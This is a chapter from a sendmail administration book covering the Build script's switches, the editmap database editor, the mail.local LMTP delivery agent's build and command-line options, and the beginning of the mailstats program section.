Chapter 10. Build and Use Companion Programs

The sendmail distribution comes complete with several programs that can help you use sendmail. All are in source form, and all are built with the Build script (The Build Script on page 346). We list them briefly in Table 10-1, and then describe each in the sections that follow.

Table 10-1. Companion programs supplied with sendmail

Program

§

Description

Build

The Build Script on page 346

The script used to build all programs

editmap

The editmap Program on page 354

A program to edit database entries

mail.local

The mail.local Delivery Agent on page 359

A local delivery agent that can speak LMTP

mailstats

The mailstats Program on page 364

A program to print the statistics file

makemap

The makemap Program on page 370

A program for creating database files

praliases

The praliases Program on page 376

A program to dump the aliases file

rmail

The rmail Delivery Agent on page 378

A new rmail program for use with UUCP

smrsh

The smrsh Program on page 379

A shell that restricts program usage

vacation

The vacation Program on page 382

A program for notifying others that you are unavailable

The Build Script

The Build script[162] is used to compile, link, and install all the programs that are shipped with sendmail. The Build script is run like this:

% ./Build switches what

Here, we execute Build by prefixing its name with a dot and a slash. This trick ensures that you can run it, even if you do not have a dot in your PATH. As an alternative, because Build is a Bourne shell script, you can run the shell and have the shell run it:

% sh Build switches what

The switches change the behavior of Build, causing it, for example, to use different directories or clean out a directory to start over. We show all the Build command-line switches in Table 10-2 (which follows the explanation of what), and explain them in detail in the sections that follow that table.

The what corresponds to the make(1) “targets” on the left side of the Makefile created for each program. If what is missing, the target defaults to all. The possible targets are:

all

This target causes the program to be compiled and linked. It creates an executable file that you can install and run, and also formats the manual pages.

clean

This target causes all the intermediate .o files to be removed, the executable file to be removed, and the formatted manual pages to be removed. This is a good way to reclaim disk space after installing the program. Running it does not, however, create a new Makefile. You should always create a new Makefile whenever you modify your m4 build file. See fresh in the next entry for one way to do that.

fresh

This target causes the obj directory to be removed in its entirety, and then re-created from scratch. If your m4 build file has been modified, this target (with the -f or -Q switch) will cause a corresponding new Makefile to be created.

install

This target causes the created executable file (and possibly any manual pages) to be installed for use. You can prevent manuals from being installed by declaring the confNO_MAN_INSTALL build macro (confNO_MAN_INSTALL on page 93) in your m4 build file.

install-strip

This target causes the installed binary to be stripped with strip(1). Otherwise, it is the same as install.

force-install

Two programs, mail.local and rmail, will not install with the install command. Instead, each must be installed individually with this force-install command. Note that force-install is not supported at the top level, and must instead be run in each subdirectory as needed.

Table 10-2. Build command-line switches

Switch

§

Description

[a]

-A

-A on page 348

Show the architecture for the build.

-c

-c on page 348

Clean out an existing object tree.

-E

-E on page 349

Pass environment variables to Build.

-f

-f on page 350

Use an m4 build file in alternative directory.

-I

-I on page 350

Add additional include directories.

-L

-L on page 351

Add additional library directories.

-M

-M on page 351

Show the name of the object directory.

-m

-m on page 351

Show, don’t create the directory.

-n

-n on page 352

Create the directory but don’t compile.[a]

-O

-O on page 352

Specify the path of the object directory.

-Q

-Q on page 352

Set prefix for the object directory.

-S

-S on page 353

Skip system-specific configuration.

-v

-v on page 353

Specify build-variant.

[a] a The -n switch is not actually a part of Build. Instead, Build passes it to make(1).

-A

Show the architecture for the build Build switch

The -A switch doesn’t cause sendmail to be built. Instead, it prints the architecture component of the path that will be used to build the program:

% ./Build -A
obj.SunOS.4.1.4.sun4

That is, each program will be built under this directory in a subdirectory named after the program. For sendmail, in this example, the path would be:

obj.SunOS.4.1.4.sun4/sendmail

See also the -M switch (-M on page 351).

-c

Clean out an existing object tree Build switch

When reiteratively developing a master m4-style build configuration file, it is often necessary to clear out the current obj directory and start afresh. The -c switch does just that:

% ./Build -c
...
Clearing out existing  /usr/local/src/sendmail-8.14.1/obj.SunOS.5.10.sun4 tree

When combined with the -f switch (-E on page 349) the directory is first cleared, then a new directory is configured, and sendmail is built.

Note that it is mandatory that you run Build with the -c switch immediately after you modify your m4 build file. If you don’t, your changes in that m4 build file will have no effect. The m4 build file is used to create a new Makefile, and the Makefile is what actually builds the program.

Note that the fresh Makefile target is a synonym for this switch. That is, you can also do this:

% make fresh

-E

Pass environment variables to Build Build switch

The -E switch is used to specify environment variables that should be passed to Build and make(1). This switch is useful on IRIX systems, for example, which can store pointers in either 32- or 64-bit sizes. To build a 32-bit sendmail, for example, you might run Build in the sendmail directory like this:

% ./Build -E ABI=-n32

and use the subsystem compiler compiler_dev.sw32.lib.

Inside the Build script are a few environment variables that can be used to tune how Build runs. But before using any, be aware that their use might not be recorded in the resulting Makefile. If that is the case, reconstruction of the command line used will not be possible.

M4=

The -E switch can be used with M4= to select your preferred version of m4(1). If, for example, you prefer GNU’s version over the vendor’s version, you can run Build like this:

% ./Build -E M4=/usr/local/gnu/bin/m4
...
Using M4=/usr/local/gnu/bin/m4

MAKE=

The -E switch can be used with MAKE= to select a different version of make(1) than the one that is currently first in your path. If, for example, you prefer your homegrown make(1), you could run Build like this:

% ./Build -E MAKE=/usr/local/newbin/make

DESTDIR=

The -E switch can be used with DESTDIR= to install sendmail, its symbolic links (such as newaliases), its manual pages, and its support programs (such as praliases) under a whole new directory. One reason for using another directory might be to install sendmail for use by diskless machines. Consider this ordinary install:

% ./Build install
Configuration: pfx=, os=SunOS, rel=5.10, rbase=5, rroot=5.10, arch=sun4, sfx=, variant
=optimized
if [ ! -d /etc/mail ]; then mkdir -p /etc/mail; fi
... etc

Now consider the same install using the DESTDIR= environment variable:

% ./Build -E DESTDIR=/export/sun4 install
Making in ../obj.SunOS.5.10.sun4/sendmail
if [ ! -d /export/sun4/etc/mail ]; then mkdir -p /export/sun4/etc/mail; fi
... etc

Because this prefixing is a part of the Makefile, the DESTDIR environment variable prefixes all the directories defined with the m4 technique (described in DESTDIR= on page 349).

-f

Use an m4 build file in alternative directory Build switch

The Build program uses m4(1) to create a Makefile. The m4 directives useful for Build are listed in Build m4 Macro Reference on page 69. This -f switch specifies the file to pass to m4(1) to create a customized Makefile:

% ./Build -f ../../builds/oursite.m4
Configuration: pfx=, os=SunOS, rel=5.10, rbase=5, rroot=5.10, arch=sun4, sfx=,
variant=optimized
Using M4=/usr/local/bin/m4
Creating obj.SunOS.5.10.sun using ../devtools/OS/SunOS
Including ../../builds/oursite.m4                                      ← note
...

This -f switch allows you to maintain Build configurations separate from the source distribution. Whenever you use -f, a comment is automatically inserted into the resulting Makefile recording that fact. The command line, for example, will produce the following comment:

####################################################################
##### This file is automatically generated -- edit at your own risk
##### Built by you@yoursite.your.domain
##### on Thu Dec 13 05:08:38 PDT 2007 using template OS/SunOS
##### including ../../builds/oursite.m4                              ← note
##### in /usr/local/src/sendmail-8.14.1/src
####################################################################

Note that this build-configuration information is only preserved in the Makefile. No strings are compiled into sendmail, so it is not possible to reconstruct Build settings from the compiled binary.

If this switch is omitted, default files in the devtools/Site directory are used. See Build sendmail on page 53 for a full description of this process.

Note that the -Q and -f switches cannot be used together.

-I

Add additional include directories Build switch

The -I switch is used to list include-file directories on the command line. When used with -L (-L on page 351), for example, it can select an experimental version of BIND:

% ./Build -I/src/bind/9.4.1x5/include -L/src/bind/9.4.1x5/lib

The value specified with this -I switch is appended to whatever values are specified in your m4 build file with confINCDIRS (confINCDIRS on page 78) and to whatever values might be preset as defaults in your devtools/OS file. The final, assembled value is made a part of your configuration file, and is also made the value of the INCDIRS= directive in your Makefile.

Multiple -I switches can be used to specify a series of include directories. For example:

% ./Build -I/usr/local/include -I/usr/tools/include

In general, include-file directories should be listed with the confINCDIRS m4 directive (confINCDIRS on page 78) in your m4 build file, instead of on the command line.

-L

Add additional library directories Build switch

The -L switch is used to list library directories on the command line. (See -I in -I on page 350 for one example.) The value listed with this -L switch is appended to the values specified in your site file with confLIBDIRS (confLIBDIRS on page 82) and to whatever values might be preset as defaults in your devtools/OS file. The final assembled value is made a part of your configuration file, and is also made the value of the LIBDIRS directive in your Makefile.

Multiple -L switches can be used to specify a series of library directories to search. For example:

% ./Build -L/usr/local/lib -L/usr/tools/lib

In general, library directories should be listed with the confLIBDIRS build macro (confLIBDIRS on page 82) in your m4 build file, instead of on the command line.

-M

Show the name of the object directory Build switch

The -M switch doesn’t cause Build to actually do anything. It causes it to print only the name of the directory in which it will build the program. For sendmail, for example, it would print this:

% ./Build -M
../obj.SunOS.4.1.4.sun4/sendmail

If you have already run Build once to create the object directory, this switch will show the name of that directory. Otherwise, it will print the path to the directory that will be created.

-m

Show, don’t create the directory Build switch

The -m switch doesn’t cause Build to actually do anything. It causes it to only print what it might do:

% ./Build -m
Configuration: pfx=, os=SunOS, rel=5.10, rbase=5, rroot=5.10, arch=sun4, sfx=, variant
=optimized
Using M4=/usr/local/bin/m4
Will run in virgin obj.SunOS.5.10.sun4 using ../BuildTools/OS/SunOS

This switch is useful for determining whether the Build process will recognize your machine architecture and operating system. If it does not, it will print an error such as this:

Configuration: os=EX/Unix, rel=0.1, rbase=0, rroot=0.1, arch=sun4, sfx=
Cannot determine how to support sun4.EX/Unix.0.1

Here, an experimental kernel (EX/Unix) running on a Sun4 machine turned out to be a version of Unix that Build did not understand.

We offer a complete listing of #define macros in Appendix A on page 1227. Those macros, as well as much of the tuning that we discuss in Chapter 17 on page 584, can be germane to porting. But be forewarned that porting sendmail and its companion programs to new operating systems is beyond the scope of this book.

-n

Create the directory but don’t compile Build switch

The -n switch is not strictly a part of the Build program. Instead, it is just passed to the make(1) program, and the Build program creates the obj directory (if it doesn’t exist), and then populates it with a Makefile and symbolic links. After that, Build invokes make with the -n switch, which only causes make to print what it would do. It doesn’t cause make to actually do anything.

This -n switch is especially useful with the install target, to preview what steps will be undertaken to install the program before actually installing it.

-O

Specify the path of the object directory Build switch

The -O switch is used to build a program in a directory other than the default directory. One use for this switch might be to build in a directory on a read/write disk, when the source itself is on a read-only disk. This might be the case if your workstation shares a network-mounted source tree, where you lack permission to write into that tree:

% ./Build -O /u/you/src/obj
Configuration: pfx=, os=SunOS, rel=4.1.4, rbase=4, rroot=4.1, arch=sun4, sfx=
Using M4=/usr/5bin/m4
Creating /u/you/src/obj/obj.SunOS.4.1.4.sun4/sendmail using ../devtools/OS/SunOS

This switch is also useful when experimenting with different settings inside your m4 build file. Use one directory when experimenting, for example, and the other for production.

-Q

Set prefix for the object directory Build switch

Ordinarily, Build creates the name for your object directory from various pieces of information about your operating system and hardware. One way to change the name of that object directory is by inserting a prefix in the name:

% ./Build -Q TEST
Configuration: pfx=TEST, os=SunOS, rel=4.1.4, rbase=4, rroot=4.1, arch=sun4, sfx=
Using M4=/usr/5bin/m4
Creating ../obj.TEST.SunOS.4.1.4.sun4/sendmail using ../devtools/OS/SunOS

Here, the prefix TEST is inserted between the obj and the SunOS.4.1.4.sun4.

This -Q switch is useful when creating alternative builds for machines of the same architecture, but where you want to separate the features used by each, as, for example, to divide roles by client and server, or by mailhub and nullclients.

When building with this -Q switch, Build looks for your m4 build file in the devtools/Site directory. Its strategy is to look for files that replace the $pfx shell macro’s value (the site) with the argument to -Q (we used TEST). It does so in the following order:

$pfs.$oscf.$sfx.m4
$pfx.$oscf.m4
$pfx.config.m4
site.$oscf.$sfx.m4
site.$oscf.m4

Here, $oscf is the name of the m4 file found by Build in the devtools/OS directory that contains your operating system’s specific m4 defaults, and $sfx is the suffix set by the SENDMAIL_SUFFIX (Build sendmail on page 53) environment variable, if present. Thus, with the preceding example, Build will look for the first of the following files in the devtools/Site directory:

TEST.SunOS.4.0.m4
TEST.SunOS.4.0.m4
TEST.config.m4
site.SunOS.4.0.m4
site.SunOS.4.0.m4

If no files are found that match these patterns, no m4 build file will be used.

Note that the -Q and -f switches cannot be used together.

-S

Skip system-specific configuration Build switch

As part of the Build program’s configuration efforts, it executes the devtools/bin/configure.sh script. That script attempts to help you automatically configure db(3) and a resolver library for your system. First, the standard include and library directories are searched for db(3) support, and, if found, NEWDB is defined for confMAPDEF.

Second, configure.sh searches for an appropriate resolver library and modifies confLIBS appropriately:

-lresolv            ← for BIND before V4.9
-lresolv -l44bsd    ← for BIND V4.9.x
-lbind              ← for BIND V8.x

This -S Build switch prevents these two automatic configuration strategies.

-v

Specify build variant Build switch

Beginning with V8.12, the -v Build switch conveys to Build a notion of how the Build should be run. There are currently three possibilities: debug, optimized, and purify.

These command-line arguments are automatically converted arguments for the confBLDVARIANT Build macro. See confBLDVARIANT on page 71 for a complete description of what this command-line flag does:

-v debug        creates →       define(`confBLDVARIANT', `DEBUG')
-v optimized    creates →       define(`confBLDVARIANT', `OPTIMIZED')
-v purify       creates →       define(`confBLDVARIANT', `PURIFY')

But note that as of V8.12.7 sendmail, this -v switch affects only FreeBSD and Linux. It is silently ignored for all other operating systems. Also note that purify is not supported for any operating system. Read the RELEASE_NOTES file supplied with the sendmail source to see whether more recent versions support purify and other operating systems.

The editmap Program

The editmap program is supplied in source form with V8.12 and above sendmail. It can also be supplied in precompiled form by your vendor.[163] It is used to edit or view individual items in database files and is run from the command line like this:

% editmap -q switches dbtype dbfile key
% editmap -x switches dbtype dbfile key
% editmap -u switches dbtype dbfile key new_value

We’ll discuss the switches in the next section. The dbtype can be dbm (which uses the ndbm(3) library routines), hash, or btree (both of which use the db(3) library routines). The dbfile is the location and name (full path or relative name) for the database file that will be edited. For dbm files, the .pag and .dir suffixes are added automatically. For db files, the .db suffix will be added automatically if it is not already included in the name.

The key is the name of the item in the database that you wish to view or edit. If you are just viewing an item’s value, include the -q command-line flag and omit the new_value. If you need to delete an item and its value, include the -x command-line flag and omit the new_value. If you are updating an item’s value, or inserting a new value, include the -u command-line switch and the new_value. The new_value, when present, should be quoted to prevent internal characters and spaces from being interpreted by the shell. For example:

'$0@'      ← the new_value should be quoted

In addition, some special characters, such as !, need to be prefixed with a backslash to prevent them from being interpreted by some shells (such as the csh and tcsh shells):

'%0\!%1@%2'      ← prefix the ! character with a backslash

The editmap program opens the database for reading when the -q is specified, and for read/write when the -u or -x is specified. If none of those three command-line switches is present, editmap prints a usage message and exits. If you attempt to update (with -u) or delete from (with -x) a database for which you lack write permission, the following error will print, and editmap will exit:

editmap: error opening type dbtype map dbfile: Permission denied

If you specify a key that does not exist in the database, editmap will print the following error and exit:

editmap: couldn't find key key in map dbfile

The editmap program reads the sendmail configuration file to find a value for the TrustedUser option (TrustedUser on page 1112). If that option is set, and if editmap is run by root, editmap will change the ownership of the database to the user specified by the TrustedUser option.

The editmap program should not be used to edit a database file for which you have the original text source file. With the original text it is always better to generate a new database using makemap (The makemap Program on page 370). That way, you can track changes in human-readable form, and avoid getting the source and database files out of sync.[164]

The editmap program is useful to fix problems in databases for which you lack the original text source. Vendor-supplied databases frequently fall into this category, as do distributed databases for which the original source is protected or lost. In this latter instance, however, it might be better to dump the database with makemap (The makemap Program on page 370) and use that dump as source to create a new, original text file.

editmap Command-Line Switches

The command-line switches for editmap precede the dbtype:

% editmap -q switches dbtype dbfile key
% editmap -x switches dbtype dbfile key
% editmap -u switches dbtype dbfile key new_value

Switches are single characters, prefixed with a - character. Switches can also be combined:

-N -f      ← good
-Nf        ← also good

The complete list of switches is shown in Table 10-3. (See getopt(3) for additional information about the way switches are handled.) In the sections that follow, we describe each switch in detail.

Table 10-3. editmap program’s switches

Switch

§

Description

-C

-C on page 356

Use an alternative sendmail configuration file.

-f

-f on page 356

Don’t fold uppercase to lowercase.

-N

-N on page 356

Append a null byte to all keys.

-q

-q on page 357

Query for specified key.

-u

-u on page 357

Update the key with a new value.

-v

 

Run in verbose mode (a no-op as of V8.12.5).

-x

-x on page 358

Delete key from database.

-C

Use an alternative sendmail configuration file editmap command-line switch

If the TrustedUser option (TrustedUser on page 1112) is set in the sendmail configuration file, and if editmap was compiled with HASFCHOWN defined as 1, and if editmap is run by root, the output file will become owned by the user specified in the TrustedUser option. The editmap program finds the TrustedUser option by reading and parsing the sendmail program’s configuration file (normally /etc/mail/sendmail.cf). But if you want editmap to use a different configuration file, you can specify that different file with this -C switch. For example:

# editmap -x -C /etc/mail/sendmail.cf.new hash spamhosts host.spam-site.com

Here, we use editmap to delete the key host.spam-site.com from the database spamhosts. Because editmap was run by root (the # prompt), editmap looks up the TrustedUser option in the alternative configuration file specified by the -C (/etc/mail/sendmail.cf.new). If that option had, for example, a value of bin, editmap would set the owner of the database to bin.

-f

Don’t fold uppercase to lowercase editmap command-line switch

Normally, the key is converted to lowercase before being stored in the database makemap. When the key entries are case-sensitive, the -f switch is used by makemap to prevent conversion to lowercase. This -f command-line switch causes editmap to match that behavior when looking up a key. When the -f is absent, the key specified in the command line is converted to lowercase before it is looked up. If the -f is present, the key is looked up as is.

In general, if the configuration file’s corresponding K command for a database uses the -f, you should also use -f when running editmap on that database file.

-N

Append a null byte to all keys editmap command-line switch

The database files used for aliases always store keys with a null byte appended to each. When you use editmap on such a file, your key will not be found:

% editmap -q hash list-aliases user
editmap: couldn't find key user in map list-aliases

This lookup failed because editmap normally omits a trailing null from a key before looking up its value. When looking up keys in aliases-style databases, you need to use the -N command-line switch to append a null to a key before a lookup:

% editmap -q -N hash list-aliases user

Some database files (other than aliases) also append a null byte to keys. These databases will appear with a corresponding -N in a K configuration file line. In such instances, you must use -N with editmap to match the K line’s -N.

-q

Query for specified key editmap command-line switch

The editmap program must be run with one of three mandatory command-line switches. This -q switch is one of those three.

The -q command-line switch tells editmap to open the database file in read-only mode, and look up and print the value of the key:

% editmap -q dbtype dbfile sought-key

If the dbfile lacks read permission, the following error will print and editmap will exit with an EX_IOERR (EX_IOERR on page 229) exit value:

editmap: error opening type dbtype map dbfile: Permission denied

If the sought-key is found, its value is printed and editmap exits with a zero exit value. If the sought-key is not found, editmap prints the following error and exits with an EX_UNAVAILABLE (EX_UNAVAILABLE on page 230) exit value:

editmap: couldn't find key sought-key in map dbfile

If you get this error when reading aliases-style database files, consider adding the -N command-line switch.

-u

Update the key with a new value editmap command-line switch

The editmap program must be run with one of three mandatory command-line switches. This -u switch is one of those three.

The -u command-line switch tells editmap to open the database file in read/write mode, to look up the key, and to replace that key’s value. If the key is not already in the database, both the key and its value are added to the database:

% editmap -u dbtype dbfile sought-key new-value

If the dbfile lacks read/write permission, the following error will print and editmap will exit with an EX_IOERR (EX_IOERR on page 229) exit value:

editmap: error opening type dbtype map dbfile: Permission denied

If the sought-key is found, its value is replaced with the new-value. If the sought-key is not found, both the key and value are added to the database.

Be careful updating aliases-style database files. If you omit the -N command-line switch with such files, your key will not be found even if it exists, and thus the key and value will wrongly, and silently, update the database. To illustrate, consider this alias:

bob: bob@another.host.domain

If bob moves, you might want to directly edit this aliases-style database to change his address. Here is the correct way to update:

% editmap -N -q hash offsite-aliases bob
bob@another.host.domain
% editmap -N -u hash offsite-aliases bob bob@new.domain
% editmap -N -q hash offsite-aliases bob
bob@new.domain

Here, because offsite-aliases is an aliases-style database, we use the -N command-line switch with all commands. The first and last commands look up (with -q) bob in the database. The second command changes the address for bob.

In the following, we omit the -N from the update command. This is the wrong way to update such a database:

% editmap -N -q hash offsite-aliases bob
bob@another.host.domain
% editmap -u hash offsite-aliases bob bob@new.domainnote no -N
% editmap -N -q hash offsite-aliases bob
bob@another.host.domain                                ← note no update
% editmap -q hash offsite-aliases bob
bob@new.domain                                         ← note bogus update

The key bob is in the database, but with a trailing null byte. The update command (the -u) omits the -N and so omits a trailing null byte from the looked-up key. As a result, the key is not found, so the key and value are wrongly added as a new key/value pair to the database. The last two commands illustrate the problem. The first correctly uses the -N and finds that the value was not updated. The second incorrectly omits the -N and finds that another bob (the one without the trailing null byte) got the update.

-x

Delete key from database editmap command-line switch

The editmap program must be run with one of three mandatory command-line switches. This -x switch is one of those three.

The -x command-line switch tells editmap to open the database file in read/write mode, to look up the key, and, if found, to delete the key and its value from the database:

% editmap -x dbtype dbfile sought-key

If the dbfile lacks read/write permission, the following error will print and editmap will exit with an EX_IOERR (EX_IOERR on page 229) exit value.

editmap: error opening type dbtype map dbfile: Permission denied

If the sought-key is found, it and its value are silently deleted from the database. If the sought-key is not found, editmap prints the following error and exits with an EX_UNAVAILABLE (EX_UNAVAILABLE on page 230) exit value:

editmap: couldn't find key sought-key in map dbfile

If you get this error when reading aliases-style database files, consider adding the -N command-line switch.

The mail.local Delivery Agent

The mail.local program is a delivery agent designed to replace the normal delivery agent on many, but not all, versions of Unix. Read the file mail.local/README for up-to-date information about how to determine whether your version of Unix will support mail.local.

On systems that support it, the mail.local program’s chief advantage over your standard local delivery agent is that it can use LMTP for local delivery.[165] With LMTP, delivery of a single envelope to multiple recipients is more robust. LMTP is similar to SMTP, but it is designed for local delivery. It uses an acknowledged protocol that allows each recipient’s status to be reported individually.

Build mail.local

Before building mail.local, you need to decide whether certain definitions should be in your m4 build file.[166]

When porting to a new system, for example, the maillock(3) library routine for locking user mailboxes prior to delivery might be needed. If so, you will need to define two items in your m4 build file:

APPENDDEF(`conf_mail_local_ENVDEF', `-DMAILLOCK')
APPENDDEF(`conf_mail_local_LIBS', `-lmail')

Here, the first line tells the compiler to include support for maillock(3) as the means to lock local mailboxes for delivery. The second line tells the linker that the maillock(3) and related subroutines are located in the /usr/lib/libmail.a library.

Some versions of Unix require that the mailbox files be group-writable. You can tell whether this is true for your site by changing to the directory where final delivery occurs and producing a long directory listing:

% cd /var/mailor /var/spool/mail or something similar
% ls -lor ls -lg
-rw-rw----  1 bob      mail        4618 Dec 13  2002 bob
-rw-rw----  1 amy      mail         798 Jan 24 14:43 amy

If these files are all owned by the same group (as mail in the earlier example), you will need to also define the following in your m4 build file:

APPENDDEF(`conf_mail_local_ENVDEF', `-DMAILGID=6')

Here, the gid (the 6) is the number associated with the group mail. This association can be found in the /etc/group file. MAILGID must be defined with a number, not with a name.

Some local delivery agents (such as those that run on the Solaris operating system) add a Content-Length: header (Content-Length: on page 1154). You can get mail.local to do this by adding the following line to your m4 build file:

APPENDDEF(`conf_mail_local_ENVDEF', `-DCONTENTLENGTH')

Once these decisions have been made, we are at last ready to build the mail.local program. The process is the same as it is for all the companion programs (see The Build Script on page 346 for an overview of how to run the Build program). For example:

% ./Build -f ../../builds/oursite.m4

Once mail.local is built, you will find that it doesn’t automatically install when you run “make install.” This is intentional because the mail.local program should not be used on all systems. When you try to install, you might see this message:

NOTE: This version of mail.local is not suited for some operating
      systems such as HP-UX and Solaris.  Please consult the
      README file in the mail.local directory.  You can force
      the install using 'make force-install'.

If you wish to do so, you can force the installation by running the following command:[167]

# make force-install

Set Up sendmail.cf for mail.local

Before you can use the mail.local program, you need to prepare your sendmail configuration file. The easiest way to do this is with the FEATURE(local_lmtp). In your mc configuration file, add the following line:

FEATURE(`local_lmtp')
MAILER(`local')

Note that this feature must precede the declaration of your local MAILER. It sets the F= flags for the local delivery agent to “PSXfmnz9” (F= on page 743), sets the T= DSN diagnostic code (U= on page 755) to “SMTP,” and finally sets the A= delivery agent equate (A= on page 738) to run mail.local like this:

mail.local -l

The command-line argument -l (-l (lowercase L) on page 364) tells mail.local to speak LMTP with sendmail when delivering messages locally.

The mail.local Command-Line Switches

The mail.local program has a small set of command-line switches that modify its behavior. They are summarized in Table 10-4, and detailed in the sections that follow.

Table 10-4. The mail.local program’s switches

Switch

§

Description

−7

−7 on page 361

Don’t advertise 8BITMIME in LMTP.

-b

-b on page 362

Mailbox over quota error is permanent, not temporary.

-d

-d on page 362

Allow old-style -d execution.

-D

-D on page 362

Specify mailbox database type.

-f

-f on page 363

Specify the envelope sender.

-h

-h on page 363

Store mail in user’s home directory.

-l

-l (lowercase L) on page 364

Turn on LMTP mode.

-r

-r on page 364

Specify the envelope sender (deprecated).

If you want to modify any of the command-line switches given to mail.local by sendmail, you can do so with the LOCAL_MAILER_ARGS mc configuration macro, which must follow the FEATURE(local_lmtp). For example:

FEATURE(`local_lmtp')
define(`LOCAL_MAILER_ARGS', `mail.local −l −7')

Here, we have added a −7 to the default -l switch.

Not all switches are suitable for all installations. Review the following descriptions to decide which ones you need.

−7

Don’t advertise 8BITMIME in LMTP mail.local command-line switch

Ordinarily, when mail is delivered using LMTP, the LMTP conversation begins like this:

220 yourhost LMTP ready                 ← mail.local sends
>>> LHLO yourhost.your.domain           ← sendmail sends
250-yourhost                            ← mail.local sends
250-8BITMIME                            ← note
250-ENHANCEDSTATUSCODES
250 PIPELINING

Here, mail.local is telling sendmail (in the fourth line) that it can correctly handle 8-bit MIME (EightBitMode on page 1025) in received messages. If your site is a 7-bit only site, you should not allow mail.local to accept 8-bit MIME messages. You disallow 8-bit MIME by specifying this −7 command-line switch:

FEATURE(`local_lmtp')
define(`LOCAL_MAILER_ARGS', `mail.local −l −7')

Here, the −7 command-line switch causes mail.local to exclude -8BITMIME from the list of features it supports.

220 yourhost LMTP ready                 ← mail.local sends
>>> LHLO yourhost.your.domain           ← sendmail sends
250-yourhost                            ← mail.local sends
250-ENHANCEDSTATUSCODES
250 PIPELINING

-b

Mailbox over quota error is permanent, not temporary mail.local command-line switch

Some errors in local delivery are considered transient. For example, if the mail.local tries to open a user’s mailbox file, and that open fails because the user’s mailbox is already larger than is permitted, delivery will fail. In such a failure, the mail is ordinarily left in the sendmail queue awaiting another try later.

On systems with limited resources, it is sometimes better to take a firm stand and disallow any file that exceeds the user’s quota. You do this with mail.local by adding a -b command-line switch:

FEATURE(`local_lmtp')
define(`LOCAL_MAILER_ARGS', `mail.local -l -b')

See the Unix online manual page concerning quota(1) for information about limiting users’ use of disk resources and about why this error will occur.

-d

Allow old-style -d execution mail.local command-line switch

The original mail.local program was executed like this:

mail.local -d user

Here, mail.local is not running LMTP (the -l command-line switch is absent). Instead, it is running just like the old /bin/mail program. It reads from its standard input and writes to the user’s mailbox.

The modern mail.local program can be run like this:

mail.local user

This invocation has the same effect as the first one earlier. Thus, the use of -d is optional and can be included or omitted with no change in effect.

-D

Select mailbox database type mail.local command-line switch

Beginning with V8.12, the mail.local program uses the same code as sendmail uses to look up user-mailbox information. By default, mail.local uses the pw mailbox database type, which uses the passwd(5) file, to locate the user’s home directory as well as user and group IDs.

Although pw is the only mailbox database type allowed as of V8.12, you can add other mailbox types. For example, if you were to add an LDAP type,[168] you could then do the following:

FEATURE(`local_lmtp')
define(`LOCAL_MAILER_ARGS', `mail.local -l -D ldap')

See MailboxDatabase on page 1042 for a description of mailbox databases and the MailboxDatabase option.

-f

Specify the envelope sender mail.local command-line switch

The five-character From that begins a line is used to separate one message from another in a user’s mailbox (UnixFromLine with mail files on page 1114). This is a convention used by some but not all MUAs. The From line is generated by mail.local when it delivers the message. Its form looks like this:

From user@host.domain Fri Dec  13 09:10:40 2002

The user is ordinarily determined by getting the login name of the user who ran mail.local with the getlogin(3) routine. If that lookup fails, mail.local gets the name of the user from the passwd(5) file that is associated with the uid of the user that ran mail.local. If that fails, it sets the username to “???.”

This -f command-line switch allows you to override the envelope sender’s user identity. For example:

define(`LOCAL_MAILER_ARGS', `mail.local -f sysmail@our.domain DOL(u)')

Here, we first omit declaration of the FEATURE(local_lmtp), to prevent local LMTP delivery. We then force the envelope sender name, as it appears in the From line of delivered mail, to appear as though it is from the user sysmail, by using this -f command-line switch.

Note that the envelope sender is the address to which failed mail is bounced. It is not the address used for replies.

Also note that when mail.local receives email with LMTP it gathers the actual envelope sender address from the MAIL From: command and places that address in the From line. When that happens, this -f command-line switch is ignored.

-h

Store mail in user’s home directory mail.local command-line switch

Normally, mail.local delivers mail to a file owned by the recipient user in a central directory. That directory is usually /var/mail or /var/spool/mail.

Beginning with V8.12 sendmail, you can tell mail.local to instead deliver mail to a file in each user’s home directory. Simply use the -h command-line switch to specify a filename that will be common across all users’ homes. For example:

-h mbox

Some pop3 servers move a user’s central mail to that user’s home mbox file before transferring it via pop to the user. At such sites, when pop3 is so configured, and when all users read their mail with popd, there is an advantage to delivering directly to each user’s mbox file with mail.local.

-l (lowercase L)

Turn on LMTP mode mail.local command-line switch

The preferred way to run mail.local is in LMTP mode. LMTP is described in RFC2033.

Without LMTP (when there are multiple users in the envelope) it is possible for delivery to fail for a single user. When this happens, unexpected problems might occur with the good users. Sometimes they will receive duplicate messages and sometimes they will receive mail after a long and unexplained delay.

At sites that handle a large amount of mail for many users, LMTP mode is highly recommended. Multiple recipients per envelope are gracefully handled with LMTP. Each hands a separate error or success code back to sendmail, so there is never any confusion about what was and was not delivered.

If, despite these advantages, you wish to turn off LMTP mode in mail.local, you can do so by omitting this -l command-line switch:

define(`LOCAL_MAILER_ARGS', `mail.local   DOL(u)')
                                        ↑
                              -l has been omitted

Here, we first omitted the FEATURE(local_lmtp) to prevent the local delivery agent’s flags from being set up for LMTP. We then declare mail.local without the -l to prevent it from speaking LMTP. Finally, we add $u (with the DOL macro) to cause the list of recipients to be passed in the command line.

See Set Up sendmail.cf for mail.local on page 360 for a description of how to install mail.local for use with the preferred LMTP mode.

-r

Specify the envelope sender (deprecated) mail.local command-line switch

The -r command-line switch is a synonym for the -f command-line switch described earlier (-f on page 363). This switch is deprecated and might be removed from future versions of mail.local.

The mailstats Program

The sendmail program provides the ability to gather information that can be used to produce valuable statistics. As you will see, the StatusFile option (StatusFile on page 1095) is used to specify a file into which delivery agent statistics can be saved. The mailstats(1) program prints a summary of those statistics.

The statistics File

The sendmail program can maintain an ongoing record of the total number and total sizes of all outgoing and incoming mail messages handled by each delivery agent. This ability is enabled by defining STATUS_FILE in your m4 build file:

define(`STATUS_FILE',`/path')

The /path is the full pathname of the file into which statistics are saved. V8.12 sendmail provides configuration files that specify /path as:

/etc/mail/statistics

Just declaring the StatusFile option is not enough, however, for if the file does not exist (or is unwritable), sendmail silently ignores that file and does not save statistics. To avoid this behavior, sendmail creates an empty file during installation:

% touch /etc/mail/statistics

Note that the gathering of statistics can be turned off merely by renaming or removing the file.

Viewing Statistics: mailstats

The mailstats program is supplied with the sendmail source distribution to provide a convenient way to print the contents of the statistics file. The output of the mailstats program varies depending on the version of sendmail installed. For V8.14 sendmail the output looks like this:

Statistics from Mon Jan 14 10:56:15 2002
 M   msgsfr  bytes_from   msgsto    bytes_to  msgsrej msgsdis  msgsqur Mailer
 0        0          0K     4063      25765K        0       0          0 prog
 3      267        336K        0          0K        0       0          0 local
 5     4120       6188K      142       1652K      672       0          0 esmtp
